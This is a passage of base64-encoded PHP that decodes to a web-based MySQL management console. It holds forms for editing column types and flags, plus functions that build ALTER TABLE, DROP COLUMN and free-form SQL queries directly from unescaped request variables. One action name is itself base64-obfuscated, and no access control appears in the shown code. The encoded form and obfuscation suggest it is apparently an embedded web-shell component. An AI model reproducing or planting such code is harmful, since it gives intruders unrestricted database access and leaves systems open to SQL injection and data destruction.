IHZhbHVlPSJET1VCTEUiICc7IGlmKCAkdHlwZSA9PSAiZG91YmxlIiApIGVjaG8gImNoZWNrZWQi
O2VjaG8gJz5ET1VCTEU8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2Vu
dGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9
IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAiZGVjaW1hbCIgKSBlY2hvICJjaGVja2VkIjtlY2hv
ICc+REVDSU1BTChOVU1FUklDKTwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGln
bj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0
ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2
YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8g
Jz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFs
dWU9IkRBVEVUSU1FIiAnOyBpZiggJHR5cGUgPT0gImRhdGV0aW1lIiApIGVjaG8gImNoZWNrZWQi
O2VjaG8gJz5EQVRFVElNRSAoMTAwMC0wMS0wMSAwMDowMDowMCB+IDk5OTktMTItMzEgMjM6NTk6
NTksIFlZWVktTU0tREQgSEg6TU06U1MpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRy
Pgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJUSU1FU1RBTVAiICc7IGlm
KCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAg
KDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2Li4uLCBZWVlZTU1ERFtISFtNTVtTU11dXSk8L3Rk
Pgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1y
YWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hv
ICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1Mp
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu
YnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8g
bmFtZT10eXBlIHZhbHVlPSJZRUFSIiAnOyBpZiggJHR5cGUgPT0gInllYXIiICkgZWNobyAiY2hl
Y2tlZCI7ZWNobyAnPllFQVIgKDE5MDEgfiAyMTU1LCAwMDAwLCBZWVlZKTwvdGQ+Cjx0ZD4mbmJz
cDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1
ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJjaGFyIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5D
SEFSPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPC90cj4KPHRyPgo8
dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5
cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPgo8dGQg
YWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw
ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllURVhUIiAnOyBpZiggJHR5cGUgPT0gInRpbnl0
ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZVEVYVCAoMCB+IDI1NSk8L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUg
dmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hv
ICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0
ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRk
PjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0
eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgw
IH4gMTY3NzcyMTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0
IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HVEVYVCIgJzsgaWYoICR0eXBlID09ICJs
b25ndGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR1RFWFQgKDAgfiA0Mjk0OTY3Mjk1
KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlv
IG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0IiICc7IGlmKCAkdHlwZSA9PSAidGlueWJsb2IiICkg
ZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllCTE9CICgwIH4gMjU1KTwvdGQ+Cjx0ZD4mbmJzcDwv
dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJz
cDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0i
QkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9C
ICgwIH4gNjU1MzUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0
IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1CTE9CIiAnOyBpZiggJHR5cGUgPT0g
Im1lZGl1bWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPk1FRElVTUJMT0IgKDAgfiAxNjc3
NzIxNSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1y
YWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdCTE9CIiAnOyBpZiggJHR5cGUgPT0gImxvbmdibG9i
IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HQkxPQiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4K
PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10
eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7
ZWNobyAnPkVOVU08L3RkPgo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVy
PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0i
U0VUIiAnOyBpZiggJHR5cGUgPT0gInNldCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+U0VUPC90
ZD4KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPgo8L3RyPgoK
PC90YWJsZT4KPHRhYmxlPgo8dHI+PHRoPk08L3RoPjx0aD5EPC90aD48dGg+dW5zaWduZWQ8L3Ro
Pjx0aD56ZXJvZmlsbDwvdGg+PHRoPmJpbmFyeTwvdGg+PHRoPnZhbHVlIGxpc3QgKGV4OiBcJ2Fw
cGxlXCcsIFwnb3JhbmdlXCcsIFwnYmFuYW5hXCcpIDwvdGg+PC90cj4KPHRyPgo8dGQgYWxpZ249
Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9TSAnOyBpZiggJE0gIT0gIiIgKSBl
Y2hvICJ2YWx1ZT0kTSI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9
dGV4dCBzaXplPTQgbmFtZT1EICc7IGlmKCAkRCAhPSAiIiApIGVjaG8gInZhbHVlPSREIjtlY2hv
ICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2ln
bmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVk
IiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0
IHR5cGU9Y2hlY2tib3ggbmFtZT16ZXJvZmlsbCB2YWx1ZT0iWkVST0ZJTEwiICc7IGlmKCBzdHJw
b3MoICRmaWVsZHR5cGUsICJ6ZXJvZmlsbCIgKSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3Rk
Pgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YmluYXJ5IHZhbHVl
PSJCSU5BUlkiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJiaW5hcnkiICkgICkgZWNobyAi
Y2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBz
aXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFs
dWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPgo8L3RyPgo8L3RhYmxlPgoKCjxoMz5GbGFn
czwvaDM+Cjx0YWJsZT4KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3Ro
Pjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPgo8dHI+Cjx0
ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1ub3RfbnVsbCB2YWx1ZT0i
Tk9UIE5VTEwiICc7IGlmKCAkZmllbGRudWxsICE9ICJZRVMiICkgZWNobyAiY2hlY2tlZCI7ZWNo
byAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRf
dmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZh
dWx0IjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBu
YW1lPWF1dG9faW5jcmVtZW50IHZhbHVlPSJBVVRPX0lOQ1JFTUVOVCIgJzsgaWYoICRmaWVsZGV4
dHJhID09ICJhdXRvX2luY3JlbWVudCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPHRk
IGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXByaW1hcnlfa2V5IHZhbHVl
PSJQUklNQVJZIEtFWSIgJzsgaWYoICRmaWVsZGtleSA9PSAiUFJJIiApIGVjaG8gImNoZWNrZWQi
O2VjaG8gJz48L3RkPgo8L3RyPgo8L3RhYmxlPgoKPHA+JzsKCglpZiggJGNtZCA9PSAiYWRkIiAp
CgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRmllbGQnPlxuIjsKCWVsc2Ug
aWYoICRjbWQgPT0gImVkaXQiICkKCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0Vk
aXQgRmllbGQnPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT1DYW5jZWwgb25D
bGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9u
IG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5h
bWUsICR0YWJsZW5hbWUsICRvbGRfbmFtZSwgJG5hbWUsICR0eXBlLCAkUEhQX1NFTEYsICRxdWVy
eVN0ciwgJGVyck1zZywKCQkkTSwgJEQsICR1bnNpZ25lZCwgJHplcm9maWxsLCAkYmluYXJ5LCAk
bm90X251bGwsICRkZWZhdWx0X3ZhbHVlLCAkYXV0b19pbmNyZW1lbnQsICRwcmltYXJ5X2tleSwg
JHZhbHVlbGlzdDsKCglpZiggJGNtZCA9PSAiYWRkIiApCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRB
QkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJ
JHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQ0hBTkdFICRvbGRfbmFtZSAkbmFt
ZSAiOwoKCWlmKCAkTSAhPSAiIiApCgkJaWYoICREICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIk
dHlwZSgkTSwkRCkgIjsKCQllbHNlCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7CgllbHNl
IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgewoJCSR2YWx1ZWxpc3QgPSBzdHJpcHNsYXNoZXMoICR2
YWx1ZWxpc3QgKTsKCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7Cgl9IGVsc2UK
CQkkcXVlcnlTdHIgLj0gIiR0eXBlICI7CgoJJHF1ZXJ5U3RyIC49ICIkdW5zaWduZWQgJHplcm9m
aWxsICRiaW5hcnkgIjsKCglpZiggJGRlZmF1bHRfdmFsdWUgIT0gIiIgKQoJCSRxdWVyeVN0ciAu
PSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7CgoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwg
JGF1dG9faW5jcmVtZW50IjsKCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRs
ZSApOwoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0g
bXlzcWxfZXJyb3IoKTsKCgkvLyBrZXkgY2hhbmdlCgkka2V5Q2hhbmdlID0gZmFsc2U7CgkkcmVz
dWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtFWVMgRlJPTSAkdGFibGVuYW1lIiApOwoJJHByaW1h
cnkgPSAiIjsKCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQoJCWlm
KCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklNQVJZIiApIHsKCQkJaWYoICRyb3dbQ29sdW1uX25h
bWVdID09ICRuYW1lICkKCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOwoJCQllbHNlCgkJCQkkcHJpbWFy
eSAuPSAiLCAkcm93W0NvbHVtbl9uYW1lXSI7CgkJfQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJ
TUFSWSBLRVkiICkgewoJCSRwcmltYXJ5IC49ICIsICRuYW1lIjsKCQkka2V5Q2hhbmdlID0gISRr
ZXlDaGFuZ2U7Cgl9CgkkcHJpbWFyeSA9IHN1YnN0ciggJHByaW1hcnksIDIgKTsKCWlmKCAka2V5
Q2hhbmdlID09IHRydWUgKSB7CgkJJHEgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBS
SU1BUlkgS0VZIjsKCQlteXNxbF9xdWVyeSggJHEgKTsKCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIg
LiAkcTsKCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsKCQkkcSA9ICJBTFRF
UiBUQUJMRSAkdGFibGVuYW1lIEFERCBQUklNQVJZIEtFWSggJHByaW1hcnkgKSI7CgkJbXlzcWxf
cXVlcnkoICRxICk7CgkJJHF1ZXJ5U3RyIC49ICI8YnI+XG4iIC4gJHE7CgkJJGVyck1zZyAuPSAi
PGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7Cgl9CgoJdmlld1NjaGVtYSgpOwp9CgpmdW5jdGlvbiBk
cm9wRmllbGQoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAk
ZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAi
QUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIENPTFVNTiAkZmllbGRuYW1lIjsKCW15c3FsX3Nl
bGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3Ry
ICwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgl2aWV3U2NoZW1h
KCk7Cn0KCmZ1bmN0aW9uIHZpZXdEYXRhKCAkcXVlcnlTdHIgKSB7CglnbG9iYWwgJGFjdGlvbiwg
JG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRlcnJNc2csICRw
YWdlLCAkcm93cGVycGFnZSwgJG9yZGVyYnk7CgoJZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gx
PlxuIjsKCWlmKCAkdGFibGVuYW1lICE9ICIiICkKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4k
ZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7CgllbHNlCgkJZWNobyAiPHAgY2xhc3M9bG9j
YXRpb24+JGRibmFtZTwvcD5cbiI7CgoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlT
dHIgKTsKCWlmKCAkcXVlcnlTdHIgPT0gIiIgKSB7CgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZS
T00gJHRhYmxlbmFtZSI7CgkJaWYoICRvcmRlcmJ5ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIg
T1JERVIgQlkgJG9yZGVyYnkiOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRk
RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwg
XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9
JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsKCX0KCgkkcFJlc3Vs
dCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAkcXVlcnlTdHIgKTsKCSRmaWVsZHQgPSBteXNx
bF9mZXRjaF9maWVsZCgkcFJlc3VsdCk7CgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7Cgkk
ZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkkR0xPQkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7
CgoJaWYoICRwUmVzdWx0ID09IGZhbHNlICkgewoJCWVjaG9RdWVyeVJlc3VsdCgpOwoJCXJldHVy
bjsKCX0KCWlmKCAkcFJlc3VsdCA9PSAxICkgewoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7CgkJZWNo
b1F1ZXJ5UmVzdWx0KCk7CgkJcmV0dXJuOwoJfQoKCWVjaG8gIjxocj5cbiI7CgoJJHJvdyA9IG15
c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJJGNvbCA9IG15c3FsX251bV9maWVsZHMoICRwUmVz
dWx0ICk7CgoJaWYoICRyb3cgPT0gMCApIHsKCQllY2hvICJObyBEYXRhIEV4aXN0ISI7CgkJcmV0
dXJuOwoJfQoKCWlmKCAkcm93cGVycGFnZSA9PSAiIiApICRyb3dwZXJwYWdlID0gMzA7CglpZigg
JHBhZ2UgPT0gIiIgKSAkcGFnZSA9IDA7CgllbHNlICRwYWdlLS07CglteXNxbF9kYXRhX3NlZWso
ICRwUmVzdWx0LCAkcGFnZSAqICRyb3dwZXJwYWdlICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFj
aW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7CgllY2hvICI8dHI+XG4iOwoJZm9yKCAkaSA9IDA7ICRp
IDwgJGNvbDsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQs
ICRpICk7CgkJZWNobyAiPHRoPiI7CgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJ
ZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5h
bWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmb3JkZXJieT0iLiRmaWVsZC0+bmFtZS4iJz4iLiRmaWVs
ZC0+bmFtZS4iPC9hPlxuIjsKCQllbHNlCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7CgkJZWNo
byAiPC90aD5cbiI7Cgl9CgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOwoJZWNo
byAiPC90cj5cbiI7CgoJZm9yKCAkaSA9IDA7ICRpIDwgJHJvd3BlcnBhZ2U7ICRpKysgKSB7CgkJ
JHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOwoJCWlmKCAkcm93QXJyYXkg
PT0gZmFsc2UgKSBicmVhazsKCQllY2hvICI8dHI+XG4iOwoJCSRrZXkgPSAiIjsKCQlmb3IoICRq
ID0gMDsgJGogPCAkY29sOyAkaisrICkgewoJCQkkZGF0YSA9ICRyb3dBcnJheVskal07CgoJCQkk
ZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRqICk7CgkJCWlmKCAkZmllbGQt
PnByaW1hcnlfa2V5ID09IDEgKQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIg
LiAkZGF0YTsKCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApCgkJCQkkZGF0YSA9IHN1YnN0
ciggJGRhdGEsIDAsIDMwICkgLiAiLi4uIjsKCQkJJGRhdGEgPSBodG1sc3BlY2lhbGNoYXJzKCAk
ZGF0YSApOwoJCQllY2hvICI8dGQ+XG4iOwoJCQllY2hvICIkZGF0YVxuIjsKCQkJZWNobyAiPC90
ZD5cbiI7CgkJfQoKCQlpZiggJGtleSA9PSAiIiApCgkJCWVjaG8gIjx0ZCBjb2xzcGFuPTI+bm8g
S2V5PC90ZD5cbiI7CgkJZWxzZSB7CgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0
aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRp
dDwvYT48L3RkPlxuIjsKCQkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZGVs
ZXRlRGF0YSRrZXkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnIG9uQ2xpY2s9
XCJyZXR1cm4gY29uZmlybSgnRGVsZXRlIFJvdz8nKVwiPkRlbGV0ZTwvYT48L3RkPlxuIjsKCQl9
CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsKCgllY2hvICI8Zm9udCBz
aXplPTI+XG4iOwoJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQllY2hvICI8Zm9ybSBh
Y3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxl
bmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7CgllbHNlCgkJZWNobyAiPGZvcm0gYWN0
aW9uPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFi
bGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0cicgbWV0aG9kPXBvc3Q+XG4iOwoKCWVjaG8gKCRwYWdl
KzEpLiIvIi4oaW50KSgkcm93LyRyb3dwZXJwYWdlKzEpLiIgcGFnZSI7CgllY2hvICI8L2ZvbnQ+
XG4iOwoJZWNobyAiIHwgIjsKCWlmKCAkcGFnZSA+IDAgKSB7CgkJaWYoJGFjdGlvbiA9PSAiZG1s
bGQwUmhkR0U9IikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRH
RT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7CgkJ
ZWxzZQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdl
KTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJ
ZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOwoJCWVjaG8gIic+UHJldjwvYT5cbiI7Cgl9IGVsc2UK
CQllY2hvICJQcmV2IjsKCWVjaG8gIiB8ICI7CglpZiggJHBhZ2UgPCAoJHJvdy8kcm93cGVycGFn
